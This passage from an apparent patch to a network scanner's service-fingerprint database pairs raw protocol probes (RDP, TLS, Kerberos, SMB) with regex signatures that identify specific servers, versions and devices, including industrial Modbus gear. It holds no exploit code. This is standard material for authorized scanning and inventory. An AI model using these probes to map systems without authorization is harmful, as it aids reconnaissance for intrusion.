m|^220 .*\r\n451 The parameter is incorrect\. \r\n| p/IIS ftpd/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a + +match h.239 m|^BadRecord| p/Polycom People+Content IP H.239/ d/VoIP phone/ +match h323q931 m|^\x03\0\x000\x08\x02\0\0}\x08\x02\x80\xe2\x14\x01\0~\0\x1d\x05\x08 \x19\0\x06\0\x08\x91J\0\x05\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| p/Polycom ViewStation H.323/ + +match http m|^HTTP/1\.0 500 Internal Server Error\r\nConnection: Close\r\nContent-Type: text/html\r\n.*

          java\.lang\.Exception: Invalid request: \x16\x03|s p/Dell PowerEdge OpenManage Server Administrator httpd/ o/Windows/ cpe:/a:dell:openmanage_server_administrator/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.0 400 Bad Request\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\n\r\n400 Bad Request\n

          400 Bad Request

          \nUnsupported method\.\n\n| p/Brivo EdgeReader access control http interface/ d/security-misc/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 30\r\nContent-Type: text/plain\r\n\r\nHTTP requires CRLF terminators| p/CherryPy wsgiserver/ cpe:/a:cherrypy:cherrypy/ +match http m|^\n\n501 Method Not Implemented\n\n

          Method Not Implemented

          \n

          \x16\x03 to /[^ ]* not supported\.
          \n

          \n
          \n
          IBM_HTTP_Server at ([\w.-]+) Port \d+
          \n\n| p/IBM HTTP Server/ h/$1/ cpe:/a:ibm:http_server/ +match http m|^HTTP/1\.1 400 Bad Request\r\nDate: .*
          nginx
          \r\n\r\n\r\n$|s p/nginx/ i/reverse proxy/ cpe:/a:igor_sysoev:nginx/ +match http m|^\n\n501 Method Not Implemented\n\n

          Method Not Implemented

          \n

          \x16\x03 to /[^ ]* not supported\.
          \n

          \n
          \n
          Apache Server at ([\w.-]+) Port \d+
          \n\n| p/Apache httpd/ h/$1/ cpe:/a:apache:http_server/a + +match http-proxy m|^ 400 badrequest\r\nVia: 1\.0 ([\w.-]+) \(McAfee Web Gateway ([\w._-]+)\)\r\nConnection: Close\r\n| p/McAfee Web Gateway/ v/$2/ i/Via $1/ cpe:/a:mcafee:web_gateway:$2/ +match http-proxy m|^HTTP/1\.1 400\r\nConnection: close\r\n\r\nBad request syntax \('\\x16\\x03\\x00\\x00S\\x01\\x00\\x00O\\x03\\x00\?G\\xd7\\xf7\\xba,\\xee\\xea\\xb2`~\\xf3\\x00\\xfd\\x82\{\\xb9\\xd5\\x96\\xc8w\\x9b\\xe6\\xc4\\xdb<=\\xdbo\\xef\\x10n\\x00\\x00\(\\x00\\x16\\x00\\x13\\x00'\)| p/XX-Net web proxy tool/ +match http-proxy m|^HTTP/1\.0 414 Request URI too long\r\nContent-Type: text/html\r\nContent-Length: 23\r\nExpires: now\r\nPragma: no-cache\r\nCache-control: no-cache,no-store\r\n\r\nRequest URI is too long| p/Pound http reverse proxy/ cpe:/a:apsis:pound/ + +match ilo-vm m|^\"\0\x03\0$| p/HP Integrated Lights-Out Virtual Media/ cpe:/h:hp:integrated_lights-out/ +match iperf3 m|^\t$| + +match login m|^\0\r\nlogin: \^W\^@\^@\^@\^| p/VxWorks logind/ o/VxWorks/ cpe:/o:windriver:vxworks/a + +match maxdb m|^.Rejected bad connect packet\0$|s p/SAP MaxDB/ + +match msexchange-logcopier m|^\x15\x01\0\0\x08\0\0\0\0\x80\t\x03\x08$| p/Microsoft Exchange 2010 log copier/ cpe:/a:microsoft:exchange_server:2010/ + +# Some echo back the length from the probe? +match modbus m|^\x16\x03\0\0[\0S]\x03[\0\x01]\x80[\x01-\x03]| p/Modbus TCP/ +match modbus m|^\x16\x03\0\0[\0S]\x03[\0\x01]\x80[\x0a-\x0b]| p/Modbus TCP/ i/gateway/ +# SoftPLC? +match modbus m|^\x16\x03\0\0\0\xfd[\0\x01]\x80[\x01-\x03]\0+$| p/Modbus TCP/ +# Mitsubishi variable frequency drive +match modbus m|^\x16\x03\0\0S\x03\0\x93\x01| p/Modbus TCP/ + +match netbios-ssn m|^\0\0\0%G\xd7\xf7\xba,\xff\xea\xff\xff~\xf3\0\xfd\x82{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<=\xdbo\xef\x10n\0\0\0\0\x16\0$| p/Konica Minolta bixhub 350 printer smbd/ d/printer/ cpe:/h:konicaminolta:bixhub_350/a + +match pbx-alarm m|^1\x0c5\x0c9\x0c\x0b\x03$| p/Aastra Open Interfaces Platform PBX alarm server/ d/PBX/ cpe:/a:aastra:oip/ + +match pop3-proxy m|^ERR concurrent connection limit in avast! exceeded\(pass:\d+, processes:([\w._-]+)\[\d+\]\)\r\n| p/Avast! anti-virus pop3 proxy/ i/connection limit exceeded by $1/ o/Windows/ cpe:/o:microsoft:windows/ + +# This funny service runs on port 9001 and seems to echo other service probes, +# however they don't seem to come in any obvious order. Examples: +# ---------- GenericLines ---------- +# m|^GET / HTTP/1\.0| +# ---------- GetRequest ---------- +# m|^OPTIONS / HTTP/1\.0| +# ---------- SSLSessionReq ---------- +# m|^OPTIONS / RTSP/1\.0| +# ---------- SSLv23SessionReq ---------- +# m|^\x80\0\0\(r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\x7c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| +match postx-reporting m|^OPTIONS / RTSP/1\.0| p/PostX IP Reporting alarm system/ + +match progress m|^\0\0\0\x01\0\x17\0\x14\0\x06\0\0\0.\0\0\0\0\0\0|s p/Progress Database/ cpe:/a:progress:database/ + +# SecureTransport 5.3 +match ptcp m|^\0.\x02\0\0\x02\0CClient /[\d.]+:\d+ has requested unsupported pTCP version 0\x02\0\0\0\0| p/Axway SecureTransport PeSIT over pTCP/ cpe:/a:axway:securetransport/ + +match ptp-ip m|^\x0c\0\0\0\x05\0\0\0\x03\0\0\0| p/Picture Transport Protocol over IP/ + +match remoting m|^\.NET\x01\0\x02\0\0\0\0\0\0\0\x02\0\x03\x01\0\x03\0\x01\x01..\0\0System\.Runtime\.Remoting\.RemotingException: |s p/MS .NET Remoting services/ cpe:/a:microsoft:.net_framework/ + +match siebel m|^\0\0\0\x40\0\0\0\0\0\0\0\x01\0\0\0\0\0\0..\0\0\0\x05\0\0\0\0\0\0\0\0\x4e...\0...\0\0\0\0\0\0\0\0\0\0\0\x05\0\0\0\x0c\0\0\0\x08\0\x12\0\x68\0\0\0\0$| p/Siebel Gateway Name Server/ cpe:/a:oracle:siebel_suite/ + +match xtel m|^\x15Annuaire \xe9lectronique| p/xteld/ i/French/ + +match tor m|^\x16\x03\0\0\*\x02\0\0&\x03\0.*T[oO][rR]1.*[\x00-\x20]([-\w_.]+) |s p/Tor node/ i/Node name: $1/ cpe:/a:torproject:tor/ + +match storagecraft-image m|^\x15\x01\0\0\x08\0\0\0\0\x80\t\x03\x08\.NET\x01\0\x02\0\0\0\0\0\0\0\x02\0\x03\x01\0\x03\0\x01\x01 \0\0\0Authentication failure on server\x05\0\0\0\0$| p/StorageCraft Image Manager/ + +match vmware-print m|^\r\0\0+$| p/VMware virtual printing service/ + +match xamarin m|^ERROR: Another instance is running\n| p/Xamarin MonoTouch/ + +##############################NEXT PROBE############################## +# This is an RDP connection request with the MSTS cookie set. Some RDP +# listeners (with NLA?) only respond to this one. +# This must be sent before TLSSessionReq because Windows RDP will handshake TLS +# immediately and we don't have a way of identifying RDP at that point. +Probe TCP TerminalServerCookie q|\x03\0\0*%\xe0\0\0\0\0\0Cookie: mstshash=help\r\n\x01\0\x08\0\x03\0\0\0| +rarity 7 +ports 3388,3389 +fallback TerminalServer + +# Windows 10 +match rdp m|^\x03\0\0\x13\x0e\xd0\0\0\x124\0..\x08\0\x02\0\0\0| p/Microsoft Terminal Services/ o/Windows/ cpe:/o:microsoft:windows/a +match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\x124\0$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\x00\x00\x0b| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\x00\x00\x11| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\x12.\0$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\0\0\x17\x08\x02\0\0Z~\0\x0b\x05\x05@\x06\0\x08\x91J\0\x02X$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\0\0\x11\x08\x02..}\x08\x03\0\0\xdf\x14\x01\x01$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\x03.\0$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\0\0\0| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\0\0\x0e\t\xd0\0\0\0[\x02\xa1]\0\xc0\x01\n$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match rdp m|^\x03\0\0\x0b\x06\xd0\0\x004\x12\0| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a + +##############################NEXT PROBE############################## +# TLSv1.2 ClientHello probe. TLS implementations may choose to ignore (close +# silently) incompatible ClientHello messages like the one in SSLSessionReq. +# This one should be widely compatible, and if we avoid adding non-ssl service +# matches here, we can continue to upgrade it (bytes 10 and 11 and the ranges +# in the match lines) +Probe TCP TLSSessionReq q|\x16\x03\0\0\x69\x01\0\0\x65\x03\x03U\x1c\xa7\xe4random1random2random3random4\0\0\x0c\0/\0\x0a\0\x13\x009\0\x04\0\xff\x01\0\0\x30\0\x0d\0,\0*\0\x01\0\x03\0\x02\x06\x01\x06\x03\x06\x02\x02\x01\x02\x03\x02\x02\x03\x01\x03\x03\x03\x02\x04\x01\x04\x03\x04\x02\x01\x01\x01\x03\x01\x02\x05\x01\x05\x03\x05\x02| +rarity 1 +# Remove 3388 and 3389 if the ssl/ms-wbt-server match below doesn't catch stuff well enough. +ports 443,444,465,636,989,990,992,993,994,995,1241,1311,2252,3388,3389,4433,4444,5061,6679,6697,8443,8883,9001 +fallback GetRequest +# SSLv3 - TLSv1.3 ServerHello +match ssl m|^\x16\x03[\0-\x04]..\x02\0\0.\x03[\0-\x03]|s +# SSLv3 - TLSv1.3 Alert +match ssl m|^\x15\x03[\0-\x04]\0\x02[\x01\x02].$|s + +match autonomic-mrad m|^\x1b\[2J\x1b\[2J\r\n\r\nAutonomic Controls MRAD Bridge version (\d[\w.]+) Release\.\r\nMore info found on the Web http://www\.Autonomic-Controls\.com\r\n\r\nType '\?' for help or 'help ' for help on \.\r\n\r\n\r\nError: Unknown command '\x01'\.\r\nError: Unknown command '\x03'\.\r\n| p/Autonomic Controls MRAD Bridge/ v/$1/ d/media device/ + +match iperf3 m|^\t$| + +##############################NEXT PROBE############################## +# SSLv2-compatible ClientHello, 39 ciphers offered. +# Will elicit a ServerHello from most SSL implementations, apart from those +# that are TLSv1-only or SSLv3-only. As it comes after the SSLv3 probe +# (SSLSessionReq), its only added value is the detection of SSLv2-only servers. +# SSLv2-only servers are rare so this probe has a high rarity. +Probe TCP SSLv23SessionReq q|\x80\x9e\x01\x03\x01\x00u\x00\x00\x00 \x00\x00f\x00\x00e\x00\x00d\x00\x00c\x00\x00b\x00\x00:\x00\x009\x00\x008\x00\x005\x00\x004\x00\x003\x00\x002\x00\x00/\x00\x00\x1b\x00\x00\x1a\x00\x00\x19\x00\x00\x18\x00\x00\x17\x00\x00\x16\x00\x00\x15\x00\x00\x14\x00\x00\x13\x00\x00\x12\x00\x00\x11\x00\x00\n\x00\x00\t\x00\x00\x08\x00\x00\x06\x00\x00\x05\x00\x00\x04\x00\x00\x03\x07\x00\xc0\x06\x00@\x04\x00\x80\x03\x00\x80\x02\x00\x80\x01\x00\x80\x00\x00\x02\x00\x00\x01\xe4i<+\xf6\xd6\x9b\xbb\xd3\x81\x9f\xbf\x15\xc1@\xa5o\x14,M \xc4\xc7\xe0\xb6\xb0\xb2\x1f\xf9)\xe8\x98| + +rarity 8 +ports 443,444,465,548,636,989,990,992,993,994,995,1241,1311,2000,4433,4444,5550,7210,7272,8009,8194,8443,9001 +fallback GetRequest + +# SSLv2 ServerHello +match ssl m|^..\x04\0.\0\x02|s p/SSLv2/ + +# TLSv1 ServerHello, compatible with SSLv2: +match ssl m|^\x16\x03\x01..\x02...\x03\x01|s p/TLSv1/ + +# SSLv3 ServerHello, compatible with SSLv2: +match ssl m|^\x16\x03\0..\x02...\x03\0|s p/SSLv3/ + +# SSLv3 - TLSv1.3 ServerHello +match ssl m|^\x16\x03[\0-\x04]..\x02\0\0.\x03[\0-\x03]|s + +# SSLv3 - TLSv1.2 Alert +match ssl m|^\x15\x03[\0-\x04]\0\x02[\x01\x02].$|s + +match iperf3 m|^\t$| +match misys-loaniq m|^\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0..sJ\0\0\0\0\0\0..\0\0\n Misys Loan IQ ([\w._-]+) \(Server\)\n Build : for Windows using Oracle \(built: (\w\w\w \d\d \d\d\d\d_\d\d:\d\d:\d\d) \([\w._-]+@[\w._-]+-C:\\[^)]*\)\)\n Patch Info : \[(?:[\w._-]+(?:, )?)+\]\n\n Environment name: \w+ Prime - \w+\n ADMCP Primary node: \w+; Secondary node: \w+; Portdaem Port = (\d+)\n\n Current time: [^\n]*\n On: \w+ \([\w._-]+\)\n OS: (Microsoft Windows[^\n]*)\n MEMORY \(Tot/Free\) : ([\d.]+) / ([\d.]+) MB\n\n Last Logger Start : [^\n]*\n L$| p/Misys Loan IQ/ v/$1/ i|built $2; portdaem port $3; free memory $6/$5 MB; $4| o/Windows/ cpe:/o:microsoft:windows/a +match misys-loaniq m|^\0\0@\0tJ\0\0\0\0\0\0\0@\0\0\n Misys Loan IQ ([\w._-]+) \(Server\)\n Build : for Windows using Oracle \(built: (\w\w\w \d\d \d\d\d\d_\d\d:\d\d:\d\d) \([\w._-]+@[\w._-]+-C:\\[^)]*\)\)\n Patch Info : \[\]\n\n Environment name: \w+ \w+\n ADMCP Primary node: \w+; Secondary node: \w+; Portdaem Port = (\d+)\n\n Current time: [^\n]*\n On: \w+ \([\w._-]+\)\n OS: (Microsoft Windows[^\n]*)\n MEMORY \(Tot/Free\) : ([\d.]+) / ([\d.]+) MB\n| p/Misys Loan IQ/ v/$1/ i|built $2; portdaem port $3; free memory $6/$5 MB; $4| o/Windows/ cpe:/o:microsoft:windows/a + + +##############################NEXT PROBE############################## +# Kerberos AS_REQ with realm NM, server name krbtgt/NM, missing client name. +Probe TCP Kerberos q|\0\0\0\x71\x6a\x81\x6e\x30\x81\x6b\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\x0a\xa4\x81\x5e\x30\x5c\xa0\x07\x03\x05\0\x50\x80\0\x10\xa2\x04\x1b\x02NM\xa3\x17\x30\x15\xa0\x03\x02\x01\0\xa1\x0e\x30\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z\xa7\x06\x02\x04\x1f\x1e\xb9\xd9\xa8\x17\x30\x15\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x01\x02\x01\x03\x02\x01\x02| +rarity 5 +ports 88 + +# MIT 1.2.8 +match kerberos-sec m=^\0\0\0[\x88-\x8a]~\x81[\x86-\x88]0\x81[\x83-\x85]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa2\x11\x18\x0f\d{14}Z\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01\x06\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xab\(\x1b&Client not found in Kerberos database\0$=s p/MIT Kerberos/ v/1.2/ i/server time: $1-$2-$3 $4:$5:$6Z/ cpe:/a:mit:kerberos:5-1.2/ + +# OS X 10.6.2; MIT 1.3.5, 1.6.3, 1.7. +match kerberos-sec m=^\0\0\0[\x6d-\x6f]~[\x6b-\x6d]0[\x69-\x6b]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa2\x11\x18\x0f\d{14}Z\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01\x06\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xab\x0e\x1b\x0cNULL_CLIENT\0$=s p/MIT Kerberos/ v/1.3 - 1.8/ i/server time: $1-$2-$3 $4:$5:$6Z/ cpe:/a:mit:kerberos:5-1/ + +# Heimdal 1.0.1-5ubuntu4 +match kerberos-sec m=^\0\0\0[\x62-\x64]~[\x60-\x62]0[\x5e-\x60]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01<\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xab\x16\x1b\x14No client in request$=s p/Heimdal Kerberos/ i/server time: $1-$2-$3 $4:$5:$6Z/ cpe:/a:heimdal:kerberos/ + +match kerberos-sec m=^\0\0\0[\x4a-\x4c]~[\x48-\x4a]0[\x46-\x48]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01D\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM$=s p/Microsoft Windows Kerberos/ i/server time: $1-$2-$3 $4:$5:$6Z/ o/Windows/ cpe:/a:microsoft:kerberos/ cpe:/o:microsoft:windows/a +match kerberos-sec m=^\0\0\0[\x79-\xf0]\0[\x79-\xf0]\0\x01\0\0~[\x71-\xe8]0[\x69-\x80]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01<\xa9.\x1b.([\w.-]+)\xaa\x1d0\x1b\xa0\x03\x02\x01\0\xa1\x140\x12\x1b\x06kadmin\x1b\x08changepw\xac#\x04!\0\x01Request length was inconsistent=s p/MIT Kerberos/ i/OpenWRT; server time: $1-$2-$3 $4:$5:$6Z; realm: $7/ cpe:/a:mit:kerberos/ + +match netradio m%^@(?:NETRADIO|MAIN|SYS):[A-Z0-9]+=% p/Yamaha Net Radio/ d/media device/ + +match qemu-vlan m|^\0\0\0qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa4\x81\^0\\\xa0\x07\x03\x05\0P\x80\0\x10\xa2\x04\x1b\x02NM\xa3\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z| p/QEMU VLAN listener/ cpe:/a:qemu:qemu/ + +match sap-gui m|^\0\0\0\x0e\*\*DPTMMSG\*\*\0\0\xf8| p/SAP Gui Dispatcher/ cpe:/a:sap:gui/ + +softmatch smpp m|^\0\0\0\x10\x80\0\0\0\0\0\0\x03....$|s + +# SMB Negotiate Protocol +##############################NEXT PROBE############################## +Probe TCP SMBProgNeg q|\0\0\0\xa4\xff\x53\x4d\x42\x72\0\0\0\0\x08\x01\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\x06\0\0\x01\0\0\x81\0\x02PC NETWORK PROGRAM 1.0\0\x02MICROSOFT NETWORKS 1.03\0\x02MICROSOFT NETWORKS 3.0\0\x02LANMAN1.0\0\x02LM1.2X002\0\x02Samba\0\x02NT LANMAN 1.0\0\x02NT LM 0.12\0| +rarity 4 +ports 42,88,135,139,445,660,1025,1027,1031,1112,3006,3900,5000,5009,5432,5555,5600,7461,9102,9103,18182,27000-27010 + +match anynet-sna m|^\0\0MF\xff\xf3MBr\0\0\0\0\x08\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\0\x81\0\x02PC NETWORK PROGRAM 1\.0\0\x02MICROSOFT NETWORKS 1\.03\0\x02MICROSOFT NETWORKS 3\.0\0\x02LANMAN1\.0\0\x02LM1\.2X002\0\x02Samba\0\x02NT LANMAN 1\.0\0\x02NT LM 0$| p/AnyNet SNA/ +match as-signon m|^\0\0\0\x18\xffSMBr\0\0\0\0\x08\x01@\0\x04\xf0\0\0\x01\0\x03$| p/IBM Client Tools signon/ + +match nomachine-nx m|^...................................................................................................\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x84\x8e\x7f\x00\x00......\x00\x00......\x00\x00......\x00\x00......\x00\x00...\x00\x00\x00\x00\x00....\x8e\x7f\x00\x00......\x00\x00......\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00......\x00\x00...\x00\x00\x00\x00\x00....\x00\x00\x00\x00......\x00\x00...\x84\x8e\x7f\x00\x00......\x00\x00......\x00\x00....\x00\x00\x00\x00......\x00\x00...\x00\x00\x00\x00\x00.....\x7f\x00\x00......\x00\x00.\xfe\x7c\x17..\x00\x00......\x00\x00...\x00\x00\x00\x00\x00......\x00\x00......\x00\x00....\x00\x00\x00\x00......\x00\x00...\x00\x00\x00\x00\x00......\x00\x00\x40.....\x00\x00......\x00\x00......\x00\x00......\x00\x00.....\x7f\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00....\x8e\x7f\x00\x00......\x00\x00...| p/NoMachine NX remote administration/ + +match airport-admin m|^acpp\0.\0.....\0\0\0\x01| p/Apple AirPort or Time Capsule admin/ + +match afarianotify m|^\0\0\x017| p/Sybase Afaria/ v/$1/ i/Abbott i-STAT blood analyzer/ + +match ajp13 m|^\0\0\0\x01\0\x0cUnauthorized| p/Oracle Containers for J2EE/ i/unauthorized/ cpe:/a:oracle:containers_for_j2ee/ + +match bmc-tmart m=^\x15uBMC TM ART Version ([\w._-]+, Build \d+ from [\d-]+), Copyright \? [\d-]+ BMC Software, Inc\. \| All Rights Reserved\.= p/BMC Transaction Management Application Response Time/ v/$1/ cpe:/a:bmc:transaction_management_application_response_time:$1/ + +match brassmonkey m|^\x08\0\0\0\0\0\x08\x01\0\0\t\0$| p/Brass Monkey controller service/ + +match byond m|^\0\0\0\x02\0\0$| p/BYOND game platform/ + +match caigos-conductus m|^\0\0\0\0\0\0\0=r\0\0\0\0\0\0\0\xd8\x97%\x01\x13\0\0\0CONDUCTUS_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 19240920$| p/Conductus/ v/$1/ i/Caigos GIS/ +match caigos-pactor m|^\0\0\0\0\0\0\0:r\0\0\0\0\0\0\0\xe8EU\x04\x10\0\0\0PACTOR_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 72697320$| p/Pactor/ v/$1/ i/Caigos GIS/ +match caigos-fundus m|^\0\0\0\0\0\0\0;r\0\0\0\0\0\0\0h\xd52\t\x10\0\0\0FUNDUS_PG([\w._-]+)\x1b\0\0\0unbekannter Code: 154326376$| p/Fundus/ v/$1/ i/Caigos GIS/ +match caigos-paratus m|^\0\0\0\0\0\0\0;r\0\0\0\0\0\0\0XL\)\x01\x11\0\0\0PARATUS_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 19483736$| p/Paratus/ v/$1/ i/Caigos GIS/ +match caigos-conspectus m|^\0\0\0\0\0\0\0>r\0\0\0\0\0\0\0\xf8\x926\x01\x14\0\0\0CONSPECTUS_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 20353784$| p/Conspectus/ v/$1/ i/Caigos GIS/ + +match digitalwatchdog m|^\x01\0\0\0\0\0\0\(PSPROTOCOL\0\0\0\0\0\0\xa0\0\0\x01\0\0\0\x0c\0\0\0\0\0\0\0\0\xe0\0\0\x04\0\0\0\0\0\0\0\0| p/Digital Watchdog IP camera unknown service/ d/webcam/ +# Need more matches. Same response to Kerberos, runs on 1489 and 1490(secure) +match docbroker m|^\0\0\0\x080\x06\x02\x01\0\x02\x01i| p/Documentum Content Server/ cpe:/a:emc:documentum_content_server/ +match fastobjects-db m|^\xce\xfa\x01\0\x16\0\0\0\0\0\0\x003\xf6\0\0\0\0\0\0\0\0$| p/Versant FastObjects database/ + +# Flexlm might be too general: -Doug +match flexlm m|^W.-60\0|s p/FlexLM license manager/ +match flexlm m|^W.\0\0\0\0|s p/FlexLM license manager/ + +match greenplum m|^E\0\0\0\x83SFATAL\0C0A000\0Munsupported frontend protocol 3923\.19778: server supports 1\.0 to 3\.0\0Fpostmaster\.c\0L2504\0RProcessStartupPacket\0\0| p/Greenplum database/ + +match h2 m|^\x52\x00\x00\x00\x08\x00\x00\x00\x03$| p/H2 database/ + +match honeywell-hscodbcn m|^\0\0\0\x02\0\x03$| p/Honeywell hscodbcn power management server/ + +match http m|^HTTP/1\.0 503 OK\r\nContent-Type: text/html\r\n\r\nBusy$| p/D-Link DI-524 WAP http config/ d/WAP/ cpe:/h:dlink:di-524/ +match http m|^HTTP/1\.1 414 Request URI Too Long\r\nServer: Catwalk\r\nDate: .*\r\nContent-Length: 0\r\nConnection: close\r\n\r\n$| p/Catwalk httpd/ i/Canon imageRUNNER printer/ d/printer/ +match iperf3 m|^\t$| + +# Need more examples of this one -Doug +match kerberos-sec m|^.*Internal KDC error, contact administrator|s p/Shishi kerberos-sec/ + +match libvirt-rpc m|^\0\0\0\xb8\xffSMBr\0\0\0\0\x08\x01@\0\0\0\x01\0\0\0\0\0\0\0\x01\0\0\0'\0\0\0\x07\0\0\0\x01\0\0\0\x30Cannot find program -11317950 version 1912602624\0\0\0\x02\0\0\0\0\0\0\0\x01\0\0\0\x02%s\0\0\0\0\0\x01\0\0\0\x30Cannot find program -11317950 version 1912602624\0\0\0\0\xff\xff\xff\xff\xff\xff\xff\xff\0\0\0\0| p/libvirt RPC/ cpe:/a:redhat:libvirt/ + +match lorex-monitor m|^\0\0\x01\x01@\n\0\x08\x80\0\x82\0L\xb8..\xff\xff\xff\xff\0\0\0\0$|s p/Lorex security camera monitor/ d/webcam/ + +match metatrader m|^A$| p/MetaTrader Data Center/ + +# Longhorn +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\x03\0|s p/Microsoft Windows Longhorn microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows/a +# Windows XP SP1 +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\0\0|s p/Microsoft Windows XP microsoft-ds/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfd\xf3\0\0|s p/Microsoft Windows 2000 microsoft-ds/ o/Windows 2000/ cpe:/o:microsoft:windows_2000/a +# Microsoft Windows 2003 or 2008 +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04.\0\0\0\0\x01\0\0\0\0\0\xfd\xf3\x01\0|s p/Microsoft Windows 2003 or 2008 microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows_server_2003/a +# Microsoft Windows 2000 Server +# Microsoft Windows 2000 Server SP4 +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.[}2]\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfd[\xe3\xf3]\0\0|s p/Microsoft Windows 2000 microsoft-ds/ o/Windows 2000/ cpe:/o:microsoft:windows_2000/a +match microsoft-ds 